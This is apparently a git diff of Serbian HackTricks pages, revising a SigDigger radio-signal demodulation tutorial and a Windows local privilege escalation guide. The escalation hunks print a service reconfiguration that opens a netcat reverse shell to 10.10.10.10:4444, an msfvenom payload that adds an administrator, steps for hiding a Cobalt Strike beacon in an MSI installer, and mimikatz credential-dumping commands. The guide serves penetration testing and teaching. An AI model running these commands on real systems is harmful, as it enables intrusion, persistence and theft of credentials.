Proveravajući AM informacije sa [**SigDigger** ](https://github.com/BatchDrake/SigDigger) i samo gledajući **envelopu**, možete videti različite jasne nivoe amplitude. Korišćeni signal šalje pulseve sa informacijama u AM, ovako izgleda jedan puls:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -78,76 +80,78 @@ I ovako izgleda deo simbola sa talasnom formom:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Proveravanje histograma
|
||||
#### Checking the Histogram
|
||||
|
||||
Možete **odabrati ceo signal** gde se informacije nalaze, odabrati **Amplituda** mod i **Selekciju** i kliknuti na **Histogram.** Možete primetiti da se nalaze samo 2 jasna nivoa
|
||||
Možete **odabrati ceo signal** gde se informacije nalaze, odabrati **Amplitude** mod i **Selection** i kliknuti na **Histogram.** Možete primetiti da se nalaze samo 2 jasna nivoa
|
||||
|
||||
.png>)
|
||||
|
||||
Na primer, ako odaberete Frekvenciju umesto Amplitude u ovom AM signalu, pronaći ćete samo 1 frekvenciju (nema načina da je informacija modulirana u frekvenciji koristeći samo 1 frekvenciju).
|
||||
Na primer, ako odaberete Frekvenciju umesto Amplitude u ovom AM signalu, pronaći ćete samo 1 frekvenciju (nema načina da je informacija modulisana u frekvenciji samo koristeći 1 frekvenciju).
|
||||
|
||||
.png>)
|
||||
|
||||
Ako pronađete mnogo frekvencija, to verovatno neće biti FM, verovatno je frekvencija signala samo modifikovana zbog kanala.
|
||||
|
||||
#### Sa IQ
|
||||
#### With IQ
|
||||
|
||||
U ovom primeru možete videti kako postoji **veliki krug**, ali takođe **mnogo tačaka u centru.**
|
||||
|
||||
.png>)
|
||||
|
||||
### Dobijanje simbolne brzine
|
||||
### Get Symbol Rate
|
||||
|
||||
#### Sa jednim simbolom
|
||||
#### With one symbol
|
||||
|
||||
Odaberite najmanji simbol koji možete pronaći (tako da ste sigurni da je to samo 1) i proverite "Selekciju frekvencije". U ovom slučaju bi to bilo 1.013kHz (tako da 1kHz).
|
||||
Odaberite najmanji simbol koji možete pronaći (tako da ste sigurni da je to samo 1) i proverite "Selection freq". U ovom slučaju bi to bilo 1.013kHz (tako da 1kHz).
|
||||
|
||||
.png>)
|
||||
|
||||
#### Sa grupom simbola
|
||||
#### With a group of symbols
|
||||
|
||||
Takođe možete naznačiti broj simbola koje ćete odabrati i SigDigger će izračunati frekvenciju 1 simbola (što više simbola odabrano, to bolje verovatno). U ovom scenariju odabrao sam 10 simbola i "Selekcija frekvencije" je 1.004 Khz:
|
||||
Takođe možete naznačiti broj simbola koje ćete odabrati i SigDigger će izračunati frekvenciju 1 simbola (što više simbola odaberete, to je verovatnije bolje). U ovom scenariju odabrao sam 10 simbola i "Selection freq" je 1.004 Khz:
|
||||
|
||||
.png>)
|
||||
|
||||
### Dobijanje bitova
|
||||
### Get Bits
|
||||
|
||||
Nakon što ste otkrili da je ovo **AM modulirani** signal i **simbolna brzina** (i znajući da u ovom slučaju nešto up znači 1, a nešto down znači 0), vrlo je lako **dobiti bitove** kodirane u signalu. Dakle, odaberite signal sa informacijama i konfigurišite uzorkovanje i odluku i pritisnite uzorak (proverite da je **Amplituda** odabrana, otkrivena **Simbolna brzina** je konfigurisana i **Gadnerova oporavka takta** je odabrana):
|
||||
Nakon što ste utvrdili da je ovo **AM modulisani** signal i **simbolna brzina** (i znajući da u ovom slučaju nešto uspon znači 1, a nešto pad znači 0), vrlo je lako **dobiti bitove** kodirane u signalu. Dakle, odaberite signal sa informacijama i konfigurišite uzorkovanje i odluku i pritisnite uzorak (proverite da je **Amplitude** odabrana, otkrivena **simbolna brzina** je konfigurisana i **Gadner clock recovery** je odabran):
|
||||
|
||||
.png>)
|
||||
|
||||
- **Sinhronizacija sa selekcionim intervalima** znači da ako ste prethodno odabrali intervale da pronađete simbolnu brzinu, ta simbolna brzina će se koristiti.
|
||||
- **Ručno** znači da će se koristiti naznačena simbolna brzina
|
||||
- U **Fiksnoj selekciji intervala** naznačavate broj intervala koji treba odabrati i izračunava simbolnu brzinu iz toga
|
||||
- **Gadnerova oporavka takta** obično je najbolja opcija, ali još uvek morate naznačiti neku približnu simbolnu brzinu.
|
||||
- **Sync to selection intervals** znači da ako ste prethodno odabrali intervale da pronađete simbolnu brzinu, ta simbolna brzina će se koristiti.
|
||||
- **Manual** znači da će se koristiti naznačena simbolna brzina
|
||||
- U **Fixed interval selection** naznačavate broj intervala koji treba odabrati i izračunava simbolnu brzinu iz toga
|
||||
- **Gadner clock recovery** obično je najbolja opcija, ali još uvek morate naznačiti neku približnu simbolnu brzinu.
|
||||
|
||||
Pritiskom na uzorak pojavljuje se ovo:
|
||||
|
||||
.png>)
|
||||
|
||||
Sada, da biste naterali SigDigger da razume **gde je opseg** nivoa koji nosi informacije, morate kliknuti na **niži nivo** i držati pritisnuto dok ne dođete do najvećeg nivoa:
|
||||
Sada, da biste naterali SigDigger da razume **gde je opseg** nivoa koji nosi informacije, morate kliknuti na **niži nivo** i držati pritisnuto dok ne dobijete najveći nivo:
|
||||
|
||||
.png>)
|
||||
|
||||
Da je, na primer, bilo **4 različita nivoa amplitude**, trebali biste konfigurisati **Bitove po simbolu na 2** i odabrati od najmanjeg do najvećeg.
|
||||
|
||||
Na kraju **povećavajući** **Zoom** i **menjajući veličinu reda**, možete videti bitove (i možete odabrati sve i kopirati da dobijete sve bitove):
|
||||
Na kraju, **povećavajući** **Zoom** i **menjajući veličinu reda**, možete videti bitove (i možete odabrati sve i kopirati da dobijete sve bitove):
|
||||
|
||||
.png>)
|
||||
|
||||
Ako signal ima više od 1 bita po simbolu (na primer 2), SigDigger **nema načina da zna koji simbol je** 00, 01, 10, 11, tako da će koristiti različite **sive skale** da predstavi svaki (i ako kopirate bitove, koristiće **brojeve od 0 do 3**, moraćete da ih obradite).
|
||||
|
||||
Takođe, koristite **kodifikacije** kao što su **Mančester**, i **up+down** može biti **1 ili 0**, a down+up može biti 1 ili 0. U tim slučajevima morate **obraditi dobijene ups (1) i downs (0)** da zamenite parove 01 ili 10 kao 0s ili 1s.
|
||||
Takođe, koristite **kodifikacije** kao što su **Mančester**, i **uspon+pad** može biti **1 ili 0**, a pad+uspon može biti 1 ili 0. U tim slučajevima morate **obraditi dobijene usponе (1) i padove (0)** da zamenite parove 01 ili 10 kao 0s ili 1s.
|
||||
|
||||
## FM Primer
|
||||
## FM Example
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Otkriće FM
|
||||
### Uncovering FM
|
||||
|
||||
#### Proveravanje frekvencija i talasne forme
|
||||
#### Checking the frequencies and waveform
|
||||
|
||||
Primer signala koji šalje informacije modulirane u FM:
|
||||
Primer signala koji šalje informacije modulisane u FM:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -165,34 +169,34 @@ Ako je sinhronizovana frekvencija **bliža jednoj frekvenciji nego drugoj**, lak
|
||||
|
||||
.png>)
|
||||
|
||||
#### Proveravanje histograma
|
||||
#### Checking the histogram
|
||||
|
||||
Proveravajući histogram frekvencije signala sa informacijama, lako možete videti 2 različita signala:
|
||||
Proveravajući histogram frekvencija signala sa informacijama, lako možete videti 2 različita signala:
|
||||
|
||||
.png>)
|
||||
|
||||
U ovom slučaju, ako proverite **Histogram Amplitude**, pronaći ćete **samo jednu amplitudu**, tako da **ne može biti AM** (ako pronađete mnogo amplituda, to može biti zato što je signal gubio snagu duž kanala):
|
||||
U ovom slučaju, ako proverite **histogram Amplitude**, pronaći ćete **samo jednu amplitudu**, tako da **ne može biti AM** (ako pronađete mnogo amplituda, to može biti zato što je signal gubio snagu duž kanala):
|
||||
|
||||
.png>)
|
||||
|
||||
I ovo bi bio histogram faze (što jasno pokazuje da signal nije moduliran u fazi):
|
||||
I ovo bi bio histogram faze (što jasno pokazuje da signal nije modulisani u fazi):
|
||||
|
||||
.png>)
|
||||
|
||||
#### Sa IQ
|
||||
#### With IQ
|
||||
|
||||
IQ nema polje za identifikaciju frekvencija (razdaljina do centra je amplituda, a ugao je faza).\
|
||||
Stoga, da biste identifikovali FM, trebali biste **samo videti osnovni krug** u ovom grafu.\
|
||||
Štaviše, različita frekvencija je "predstavljena" na IQ grafu kao **brzina akceleracije oko kruga** (tako da u SysDigger-u, kada odaberete signal, IQ graf se popunjava, ako primetite akceleraciju ili promenu pravca u kreiranom krugu, to može značiti da je ovo FM):
|
||||
Štaviše, različita frekvencija se "predstavlja" na IQ grafu kao **ubrzanje brzine oko kruga** (tako da u SysDigger-u, kada odaberete signal, IQ graf se popunjava, ako pronađete ubrzanje ili promenu pravca u kreiranom krugu, to može značiti da je ovo FM):
|
||||
|
||||
.png>)
|
||||
|
||||
### Dobijanje simbolne brzine
|
||||
### Get Symbol Rate
|
||||
|
||||
Možete koristiti **istu tehniku kao u AM primeru** da dobijete simbolnu brzinu kada pronađete frekvencije koje nose simbole.
|
||||
|
||||
### Dobijanje bitova
|
||||
### Get Bits
|
||||
|
||||
Možete koristiti **istu tehniku kao u AM primeru** da dobijete bitove kada ste **pronašli da je signal moduliran u frekvenciji** i **simbolna brzina**.
|
||||
Možete koristiti **istu tehniku kao u AM primeru** da dobijete bitove kada ste **pronašli signal modulisani u frekvenciji** i **simbolnu brzinu**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Potpuni zapis aktivnosti i sadržaja izvršenja skripte se beleži, osiguravajući da je svaki blok koda dokumentovan dok se izvršava. Ovaj proces čuva sveobuhvatan trag revizije svake aktivnosti, što je dragoceno za forenziku i analizu zlonamernog ponašanja. Dokumentovanjem svih aktivnosti u trenutku izvršenja, pružaju se detaljni uvidi u proces.
|
||||
Potpuni zapis aktivnosti i sadržaja izvršenja skripte se beleži, osiguravajući da je svaki blok koda dokumentovan dok se izvršava. Ovaj proces čuva sveobuhvatan audit trag svake aktivnosti, što je dragoceno za forenziku i analizu zlonamernog ponašanja. Dokumentovanjem svih aktivnosti u trenutku izvršenja, pružaju se detaljni uvidi u proces.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
@ -171,22 +171,24 @@ Da biste iskoristili ove ranjivosti, možete koristiti alate kao što su: [Wsuxp
|
||||
|
||||
Pročitajte istraživanje ovde:
|
||||
|
||||
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
|
||||
{{#file}}
|
||||
CTX_WSUSpect_White_Paper (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
**WSUS CVE-2020-1013**
|
||||
|
||||
[**Pročitajte kompletan izveštaj ovde**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
|
||||
U suštini, ovo je greška koju ovaj bug iskorišćava:
|
||||
|
||||
> Ako imamo moć da modifikujemo naš lokalni korisnički proxy, i Windows ažuriranja koriste proxy konfigurisan u podešavanjima Internet Explorera, stoga imamo moć da pokrenemo [PyWSUS](https://github.com/GoSecure/pywsus) lokalno da presretnemo naš vlastiti saobraćaj i pokrenemo kod kao privilegovani korisnik na našem resursu.
|
||||
> Ako imamo moć da modifikujemo naš lokalni korisnički proxy, i Windows Ažuriranja koriste proxy konfigurisan u podešavanjima Internet Explorera, stoga imamo moć da pokrenemo [PyWSUS](https://github.com/GoSecure/pywsus) lokalno kako bismo presreli naš vlastiti saobraćaj i izvršili kod kao privilegovani korisnik na našem resursu.
|
||||
>
|
||||
> Štaviše, pošto WSUS servis koristi podešavanja trenutnog korisnika, takođe će koristiti njegov skladište sertifikata. Ako generišemo samopotpisani sertifikat za WSUS ime hosta i dodamo ovaj sertifikat u skladište sertifikata trenutnog korisnika, moći ćemo da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-mehanizme za implementaciju validacije tipa trust-on-first-use na sertifikatu. Ako je sertifikat koji se prikazuje poverljiv od strane korisnika i ima ispravno ime hosta, biće prihvaćen od strane servisa.
|
||||
> Štaviše, pošto WSUS servis koristi podešavanja trenutnog korisnika, takođe će koristiti njegov skladište sertifikata. Ako generišemo samopotpisani sertifikat za WSUS ime hosta i dodamo ovaj sertifikat u skladište sertifikata trenutnog korisnika, moći ćemo da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-mehanizme za implementaciju validacije tipa poverenje-prvi-put na sertifikat. Ako je sertifikat koji se prikazuje poverljiv od strane korisnika i ima ispravno ime hosta, biće prihvaćen od strane servisa.
|
||||
|
||||
Možete iskoristiti ovu ranjivost koristeći alat [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (kada bude oslobođen).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
**Lokalna privilegijska eskalacija** ranjivost postoji u Windows **domen** okruženjima pod specifičnim uslovima. Ovi uslovi uključuju okruženja gde **LDAP potpisivanje nije primenjeno,** korisnici poseduju samoprava koja im omogućavaju da konfigurišu **Resource-Based Constrained Delegation (RBCD),** i mogućnost za korisnike da kreiraju računare unutar domena. Važno je napomenuti da su ovi **zahtevi** ispunjeni korišćenjem **podrazumevanih podešavanja**.
|
||||
**Lokalna privilegija eskalacije** ranjivost postoji u Windows **domen** okruženjima pod specifičnim uslovima. Ovi uslovi uključuju okruženja gde **LDAP potpisivanje nije primenjeno,** korisnici poseduju samoprava koja im omogućavaju da konfigurišu **Resource-Based Constrained Delegation (RBCD),** i mogućnost za korisnike da kreiraju računare unutar domena. Važno je napomenuti da su ovi **zahtevi** ispunjeni korišćenjem **podrazumevanih podešavanja**.
|
||||
|
||||
Pronađite **eksploit u** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
@ -231,16 +233,16 @@ create-msi-with-wix.md
|
||||
### Kreirajte MSI sa Visual Studio
|
||||
|
||||
- **Generišite** sa Cobalt Strike ili Metasploit **novi Windows EXE TCP payload** u `C:\privesc\beacon.exe`
|
||||
- Otvorite **Visual Studio**, izaberite **Kreirajte novi projekat** i otkucajte "installer" u pretraživaču. Izaberite projekat **Setup Wizard** i kliknite **Next**.
|
||||
- Dajte projektu ime, kao što je **AlwaysPrivesc**, koristite **`C:\privesc`** za lokaciju, izaberite **postavite rešenje i projekat u istom direktorijumu**, i kliknite **Create**.
|
||||
- Otvorite **Visual Studio**, izaberite **Kreirajte novi projekat** i otkucajte "installer" u pretraživaču. Izaberite **Setup Wizard** projekat i kliknite **Next**.
|
||||
- Dajte projektu ime, kao što je **AlwaysPrivesc**, koristite **`C:\privesc`** za lokaciju, izaberite **postavite rešenje i projekat u istom direktorijumu**, i kliknite **Kreiraj**.
|
||||
- Nastavite da klikćete **Next** dok ne dođete do koraka 3 od 4 (izaberite fajlove za uključivanje). Kliknite **Add** i izaberite Beacon payload koji ste upravo generisali. Zatim kliknite **Finish**.
|
||||
- Istaknite projekat **AlwaysPrivesc** u **Solution Explorer** i u **Properties**, promenite **TargetPlatform** sa **x86** na **x64**.
|
||||
- Istaknite **AlwaysPrivesc** projekat u **Solution Explorer** i u **Properties**, promenite **TargetPlatform** sa **x86** na **x64**.
|
||||
- Postoje i druge osobine koje možete promeniti, kao što su **Autor** i **Proizvođač** koje mogu učiniti instaliranu aplikaciju izgledom legitimnijom.
|
||||
- Desni klik na projekat i izaberite **View > Custom Actions**.
|
||||
- Desni klik na **Install** i izaberite **Add Custom Action**.
|
||||
- Dvaput kliknite na **Application Folder**, izaberite vaš **beacon.exe** fajl i kliknite **OK**. Ovo će osigurati da se beacon payload izvrši čim se instalater pokrene.
|
||||
- U **Custom Action Properties**, promenite **Run64Bit** na **True**.
|
||||
- Na kraju, **izgradite**.
|
||||
- Na kraju, **izgradite** ga.
|
||||
- Ako se prikaže upozorenje `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, uverite se da ste postavili platformu na x64.
|
||||
|
||||
### MSI Instalacija
|
||||
@ -261,13 +263,13 @@ reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
|
||||
```
|
||||
### WEF
|
||||
|
||||
Windows Event Forwarding, zanimljivo je znati gde se šalju logovi
|
||||
Windows Event Forwarding, je zanimljivo znati gde se šalju logovi
|
||||
```bash
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS** je dizajniran za **upravljanje lokalnim Administrator lozinkama**, osiguravajući da su svaka lozinka **jedinstvena, nasumična i redovno ažurirana** na računarima pridruženim domeni. Ove lozinke se sigurno čuvaju unutar Active Directory i mogu im pristupiti samo korisnici kojima su dodeljene dovoljne dozvole putem ACL-a, omogućavajući im da vide lokalne admin lozinke ako su ovlašćeni.
|
||||
**LAPS** je dizajniran za **upravljanje lokalnim Administrator lozinkama**, osiguravajući da su svaka lozinka **jedinstvena, nasumična i redovno ažurirana** na računarima koji su pridruženi domenu. Ove lozinke se sigurno čuvaju unutar Active Directory i mogu im pristupiti samo korisnici kojima su dodeljene dovoljne dozvole putem ACL-a, omogućavajući im da vide lokalne admin lozinke ako su ovlašćeni.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -295,7 +297,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
### Cached Credentials
|
||||
|
||||
**Domen credentials** se autentifikuju od strane **Lokalne bezbednosne vlasti** (LSA) i koriste ih komponente operativnog sistema. Kada se podaci o prijavljivanju korisnika autentifikuju od strane registrovanog bezbednosnog paketa, domen credentials za korisnika se obično uspostavljaju.\
|
||||
**Domen credentials** se autentifikuju od strane **Lokalne bezbednosne vlasti** (LSA) i koriste ih komponente operativnog sistema. Kada se podaci za prijavu korisnika autentifikuju od strane registrovanog bezbednosnog paketa, domen credentials za korisnika se obično uspostavljaju.\
|
||||
[**Više informacija o Cached Credentials ovde**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
@ -304,7 +306,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
|
||||
### Istraži Korisnike i Grupe
|
||||
|
||||
Trebalo bi da proverite da li neka od grupa kojima pripadate ima zanimljive dozvole.
|
||||
Trebalo bi da proverite da li bilo koja od grupa kojima pripadate ima zanimljive dozvole.
|
||||
```bash
|
||||
# CMD
|
||||
net users %username% #Me
|
||||
@ -358,7 +360,7 @@ powershell -command "Get-Clipboard"
|
||||
|
||||
### Dozvole za Datoteke i Foldere
|
||||
|
||||
Prvo, listing procesa **proverava lozinke unutar komandne linije procesa**.\
|
||||
Prvo, lista procesa **proverava lozinke unutar komandne linije procesa**.\
|
||||
Proverite da li možete **prepisati neki pokrenuti binarni fajl** ili da li imate dozvole za pisanje u binarnu fasciklu kako biste iskoristili moguće [**DLL Hijacking napade**](dll-hijacking/index.html):
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
@ -381,7 +383,7 @@ icacls "%%z"
|
||||
)
|
||||
)
|
||||
```
|
||||
**Proveravanje dozvola foldera binarnih datoteka procesa (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||||
**Provera dozvola foldera binarnih datoteka procesa (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||
@ -399,7 +401,7 @@ procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
|
||||
**Aplikacije koje se pokreću kao SYSTEM mogu omogućiti korisniku da pokrene CMD ili pretražuje direktorijume.**
|
||||
|
||||
Primer: "Windows Help and Support" (Windows + F1), pretražite "command prompt", kliknite na "Click to open Command Prompt"
|
||||
Primer: "Windows Help and Support" (Windows + F1), pretražiti "command prompt", kliknuti na "Click to open Command Prompt"
|
||||
|
||||
## Services
|
||||
|
||||
@ -457,7 +459,7 @@ sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm
|
||||
|
||||
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
|
||||
```
|
||||
### Ponovno pokreni servis
|
||||
### Ponovno pokrenite uslugu
|
||||
```bash
|
||||
wmic service NAMEOFSERVICE call startservice
|
||||
net stop [service name] && net start [service name]
|
||||
@ -474,7 +476,7 @@ Za detekciju i eksploataciju ove ranjivosti, može se koristiti _exploit/windows
|
||||
|
||||
### Slabe dozvole binarnih datoteka servisa
|
||||
|
||||
**Proverite da li možete da modifikujete binarnu datoteku koja se izvršava putem servisa** ili da li imate **dozvole za pisanje na folderu** gde se binarna datoteka nalazi ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||||
**Proverite da li možete da modifikujete binarnu datoteku koja se izvršava putem servisa** ili da li imate **dozvole za pisanje u folderu** gde se binarna datoteka nalazi ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||||
Možete dobiti svaku binarnu datoteku koja se izvršava putem servisa koristeći **wmic** (ne u system32) i proveriti svoje dozvole koristeći **icacls**:
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
@ -489,8 +491,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >>
|
||||
```
|
||||
### Services registry modify permissions
|
||||
|
||||
Trebalo bi da proverite da li možete da modifikujete bilo koju uslugu u registru.\
|
||||
Možete **proveriti** svoje **dozvole** nad uslugom **registrija** tako što ćete:
|
||||
Trebalo bi da proverite da li možete da modifikujete bilo koju uslugu registrovanja.\
|
||||
Možete **proveriti** svoje **dozvole** nad uslugom **registrovanja** tako što ćete:
|
||||
```bash
|
||||
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
|
||||
|
||||
@ -549,7 +551,7 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
|
||||
```
|
||||
### Recovery Actions
|
||||
|
||||
Windows omogućava korisnicima da odrede akcije koje će se preduzeti ako usluga ne uspe. Ova funkcija može biti konfigurisana da upućuje na binarni fajl. Ako je ovaj binarni fajl zamenljiv, eskalacija privilegija može biti moguća. Više detalja može se naći u [official documentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
Windows omogućava korisnicima da odrede akcije koje će se preduzeti ako usluga ne uspe. Ova funkcija se može konfigurisati da upućuje na binarni fajl. Ako je ovaj binarni fajl zamenljiv, eskalacija privilegija može biti moguća. Više detalja može se naći u [official documentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
|
||||
## Applications
|
||||
|
||||
@ -602,7 +604,7 @@ privilege-escalation-with-autorun-binaries.md
|
||||
|
||||
### Drajveri
|
||||
|
||||
Pogledajte moguće **druge čudne/ranjive** drajvere
|
||||
Pogledajte moguće **drajvere trećih strana koji su čudni/ranjivi**
|
||||
```bash
|
||||
driverquery
|
||||
driverquery.exe /fo table
|
||||
@ -610,9 +612,9 @@ driverquery /SI
|
||||
```
|
||||
## PATH DLL Hijacking
|
||||
|
||||
Ako imate **dozvole za pisanje unutar fascikle koja se nalazi na PATH-u**, mogli biste da preuzmete kontrolu nad DLL-om koji učitava proces i **povećate privilegije**.
|
||||
Ako imate **dozvole za pisanje unutar fascikle koja se nalazi na PATH** mogli biste biti u mogućnosti da preuzmete DLL koji učitava proces i **povećate privilegije**.
|
||||
|
||||
Proverite dozvole svih fascikli unutar PATH-a:
|
||||
Proverite dozvole svih fascikli unutar PATH:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
@ -701,7 +703,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
||||
### Menadžer kredencijala / Windows vault
|
||||
|
||||
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
|
||||
Windows Vault čuva korisničke kredencijale za servere, veb sajtove i druge programe za koje **Windows** može **automatski da prijavi korisnike**. Na prvi pogled, ovo može izgledati kao da korisnici mogu da čuvaju svoje Facebook kredencijale, Twitter kredencijale, Gmail kredencijale itd., tako da se automatski prijavljuju putem pregledača. Ali to nije tako.
|
||||
Windows Vault čuva korisničke kredencijale za servere, veb sajtove i druge programe za koje **Windows** može **automatski da prijavi korisnike**. Na prvi pogled, može izgledati kao da korisnici mogu da čuvaju svoje Facebook kredencijale, Twitter kredencijale, Gmail kredencijale itd., tako da se automatski prijavljuju putem pregledača. Ali to nije tako.
|
||||
|
||||
Windows Vault čuva kredencijale koje Windows može automatski da prijavi korisnicima, što znači da svaka **Windows aplikacija koja treba kredencijale za pristup resursu** (serveru ili veb sajtu) **može koristiti ovaj Menadžer kredencijala** & Windows Vault i koristiti kredencijale koje su dostavljene umesto da korisnici stalno unose korisničko ime i lozinku.
|
||||
|
||||
@ -727,9 +729,9 @@ Napomena da mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util
|
||||
|
||||
### DPAPI
|
||||
|
||||
**Data Protection API (DPAPI)** pruža metodu za simetričnu enkripciju podataka, pretežno korišćenu unutar Windows operativnog sistema za simetričnu enkripciju asimetričnih privatnih ključeva. Ova enkripcija koristi tajnu korisnika ili sistema kako bi značajno doprinela entropiji.
|
||||
**Data Protection API (DPAPI)** pruža metodu za simetričnu enkripciju podataka, pretežno korišćenu unutar Windows operativnog sistema za simetričnu enkripciju asimetričnih privatnih ključeva. Ova enkripcija koristi korisničku ili sistemsku tajnu kako bi značajno doprinela entropiji.
|
||||
|
||||
**DPAPI omogućava enkripciju ključeva putem simetričnog ključa koji se izvodi iz korisničkih prijavnih tajni**. U scenarijima koji uključuju enkripciju sistema, koristi tajne autentifikacije domena sistema.
|
||||
**DPAPI omogućava enkripciju ključeva putem simetričnog ključa koji se izvodi iz korisničkih prijavnih tajni**. U scenarijima koji uključuju sistemsku enkripciju, koristi tajne autentifikacije domena sistema.
|
||||
|
||||
Enkriptovani korisnički RSA ključevi, koristeći DPAPI, čuvaju se u `%APPDATA%\Microsoft\Protect\{SID}` direktorijumu, gde `{SID}` predstavlja korisnički [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **DPAPI ključ, koji se nalazi zajedno sa master ključem koji štiti korisničke privatne ključeve u istom fajlu**, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, sprečavajući listanje njegovog sadržaja putem `dir` komande u CMD, iako se može listati putem PowerShell-a).
|
||||
```powershell
|
||||
@ -738,7 +740,7 @@ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
```
|
||||
Možete koristiti **mimikatz modul** `dpapi::masterkey` sa odgovarajućim argumentima (`/pvk` ili `/rpc`) da ga dekriptujete.
|
||||
|
||||
**Datoteke sa kredencijalima zaštićene glavnom lozinkom** obično se nalaze u:
|
||||
**datoteke sa kredencijalima zaštićene glavnom lozinkom** obično se nalaze u:
|
||||
```powershell
|
||||
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
@ -754,7 +756,7 @@ dpapi-extracting-passwords.md
|
||||
|
||||
### PowerShell Kredencijali
|
||||
|
||||
**PowerShell kredencijali** se često koriste za **skriptovanje** i automatizaciju kao način za praktično čuvanje enkriptovanih kredencijala. Kredencijali su zaštićeni korišćenjem **DPAPI**, što obično znači da ih može dekriptovati samo isti korisnik na istom računaru na kojem su kreirani.
|
||||
**PowerShell kredencijali** se često koriste za **scripting** i automatizaciju kao način za praktično čuvanje enkriptovanih kredencijala. Kredencijali su zaštićeni korišćenjem **DPAPI**, što obično znači da ih može dekriptovati samo isti korisnik na istom računaru na kojem su kreirani.
|
||||
|
||||
Da biste **dekriptovali** PS kredencijale iz datoteke koja ih sadrži, možete uraditi:
|
||||
```powershell
|
||||
@ -790,18 +792,18 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
```
|
||||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||||
```
|
||||
Koristite **Mimikatz** `dpapi::rdg` modul sa odgovarajućim `/masterkey` za **dešifrovanje bilo kojih .rdg datoteka**\
|
||||
Koristite **Mimikatz** `dpapi::rdg` modul sa odgovarajućim `/masterkey` za **dešifrovanje bilo kojih .rdg fajlova**\
|
||||
Možete **izvući mnoge DPAPI masterključeve** iz memorije pomoću Mimikatz `sekurlsa::dpapi` modula
|
||||
|
||||
### Sticky Notes
|
||||
|
||||
